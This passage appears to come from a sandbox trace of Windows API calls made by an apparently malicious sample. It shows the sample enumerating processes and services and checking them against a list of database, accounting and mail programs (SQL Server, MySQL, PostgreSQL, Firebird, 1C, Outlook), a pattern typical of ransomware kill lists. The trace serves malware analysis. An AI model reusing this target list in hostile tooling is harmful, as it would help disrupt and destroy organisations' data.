lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.684] lstrlenW (lpString="svchost.exe") returned 11 [0232.684] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0232.684] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0232.684] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0232.684] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0232.684] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0232.684] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0232.684] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0232.684] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.685] lstrlenW (lpString="svchost.exe") returned 11 [0232.685] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0232.685] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0232.685] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0232.686] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0232.687] lstrlenW (lpString="audiodg.exe") returned 11 [0232.687] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.687] lstrlenW (lpString="svchost.exe") returned 11 [0232.688] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0232.750] lstrlenW (lpString="userinit.exe") returned 12 [0232.750] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0232.751] lstrlenW (lpString="explorer.exe") returned 12 [0232.752] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0232.753] lstrlenW (lpString="dwm.exe") returned 7 [0232.753] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.754] lstrlenW (lpString="svchost.exe") returned 11 [0232.754] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0232.755] lstrlenW (lpString="winhost.exe") returned 11 [0232.755] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0232.756] lstrlenW (lpString="spoolsv.exe") returned 11 [0232.756] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0232.757] lstrlenW (lpString="dllhost.exe") returned 11 [0232.757] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0232.758] lstrlenW (lpString="svchost.exe") returned 11 [0232.758] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0232.759] lstrlenW (lpString="taskhost.exe") returned 12 [0232.759] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0232.760] lstrlenW (lpString="reader_sl.exe") returned 13 [0232.760] Process32NextW (in: hSnapshot=0x390, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0232.761] CloseHandle (hObject=0x390) returned 1 [0232.762] Sleep (dwMilliseconds=0x1f4) [0233.608] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e450 [0233.624] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0233.624] GetLastError () returned 0xea [0233.624] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xc9a) returned 0x432a868 [0233.625] EnumServicesStatusExW (in: hSCManager=0x62e450, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x432a868, cbBufSize=0xc9a, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x432a868, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0233.625] CloseServiceHandle (hSCObject=0x62e450) returned 1 [0233.626] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0233.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0233.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0233.626] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0233.626] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0233.626] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0233.626] lstrlenW (lpString="AudioSrv") returned 8 [0233.626] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0233.626] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0233.626] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0233.626] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0233.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0233.627] lstrlenW (lpString="BFE") returned 3 [0233.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0233.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0233.627] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0233.627] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0233.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0233.627] lstrlenW (lpString="CryptSvc") returned 8 [0233.627] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0233.627] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0233.627] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0233.627] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0233.627] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0233.628] lstrlenW (lpString="CscService") returned 10 [0233.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0233.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0233.628] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0233.628] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0233.628] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0233.628] lstrlenW (lpString="DcomLaunch") returned 10 [0233.628] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0233.628] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0233.628] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0233.628] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0233.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0233.629] lstrlenW (lpString="Dhcp") returned 4 [0233.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0233.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0233.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0233.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0233.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0233.629] lstrlenW (lpString="Dnscache") returned 8 [0233.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0233.629] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0233.629] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0233.629] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0233.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0233.629] lstrlenW (lpString="DPS") returned 3 [0233.629] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0233.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0233.630] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0233.630] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0233.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0233.630] lstrlenW (lpString="eventlog") returned 8 [0233.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0233.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0233.630] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0233.630] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0233.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0233.630] lstrlenW (lpString="EventSystem") returned 11 [0233.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0233.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0233.630] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0233.630] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0233.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0233.631] lstrlenW (lpString="gpsvc") returned 5 [0233.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0233.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0233.631] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0233.631] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0233.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0233.631] lstrlenW (lpString="LanmanWorkstation") returned 17 [0233.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0233.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0233.631] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0233.631] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0233.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0233.631] lstrlenW (lpString="lmhosts") returned 7 [0233.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0233.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0233.632] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0233.632] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0233.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0233.632] lstrlenW (lpString="MMCSS") returned 5 [0233.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0233.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0233.632] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0233.632] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0233.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0233.632] lstrlenW (lpString="MpsSvc") returned 6 [0233.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0233.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0233.633] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0233.633] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0233.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0233.633] lstrlenW (lpString="NlaSvc") returned 6 [0233.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0233.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0233.633] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0233.633] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0233.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0233.633] lstrlenW (lpString="nsi") returned 3 [0233.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0233.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0233.633] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0233.634] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0233.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0233.634] lstrlenW (lpString="PcaSvc") returned 6 [0233.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0233.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0233.634] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0233.634] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0233.634] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0233.634] lstrlenW (lpString="PlugPlay") returned 8 [0233.634] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0233.634] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0233.634] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0233.634] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0233.635] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0233.635] lstrlenW (lpString="Power") returned 5 [0233.635] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0233.635] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0233.636] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0233.636] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0233.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0233.636] lstrlenW (lpString="ProfSvc") returned 7 [0233.636] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0233.636] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0233.636] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0233.636] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0233.636] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0233.636] lstrlenW (lpString="RpcEptMapper") returned 12 [0233.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0233.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0233.637] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0233.637] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0233.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0233.637] lstrlenW (lpString="RpcSs") returned 5 [0233.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0233.637] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0233.637] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0233.637] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0233.637] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0233.637] lstrlenW (lpString="SamSs") returned 5 [0233.637] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0233.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0233.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0233.638] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0233.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0233.638] lstrlenW (lpString="Schedule") returned 8 [0233.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0233.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0233.638] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0233.638] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0233.638] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0233.638] lstrlenW (lpString="SENS") returned 4 [0233.638] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0233.638] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0233.638] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0233.639] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0233.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0233.639] lstrlenW (lpString="ShellHWDetection") returned 16 [0233.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0233.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0233.639] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0233.639] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0233.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0233.639] lstrlenW (lpString="Spooler") returned 7 [0233.639] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0233.639] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0233.639] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0233.639] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0233.639] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0233.640] lstrlenW (lpString="Themes") returned 6 [0233.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0233.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0233.640] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0233.640] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0233.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0233.640] lstrlenW (lpString="UxSms") returned 5 [0233.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0233.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0233.640] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0233.640] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0233.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0233.640] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432a868 | out: hHeap=0x590000) returned 1 [0233.640] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394 [0233.646] Process32FirstW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0233.647] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0233.648] lstrlenW (lpString="System") returned 6 [0233.648] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0233.648] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0233.648] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0233.648] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0233.648] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0233.649] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0233.649] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0233.649] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0233.650] lstrlenW (lpString="smss.exe") returned 8 [0233.650] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0233.650] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0233.650] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0233.650] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0233.650] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0233.650] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0233.650] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0233.650] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.652] lstrlenW (lpString="csrss.exe") returned 9 [0233.652] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0233.652] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0233.652] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0233.653] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0233.653] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0233.653] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0233.653] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0233.653] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0233.654] lstrlenW (lpString="wininit.exe") returned 11 [0233.654] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0233.654] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0233.654] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0233.654] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0233.654] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0233.654] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0233.654] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0233.654] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0233.655] lstrlenW (lpString="csrss.exe") returned 9 [0233.655] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0233.655] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0233.655] lstrcmpiW (lpString1="outlook.exe", 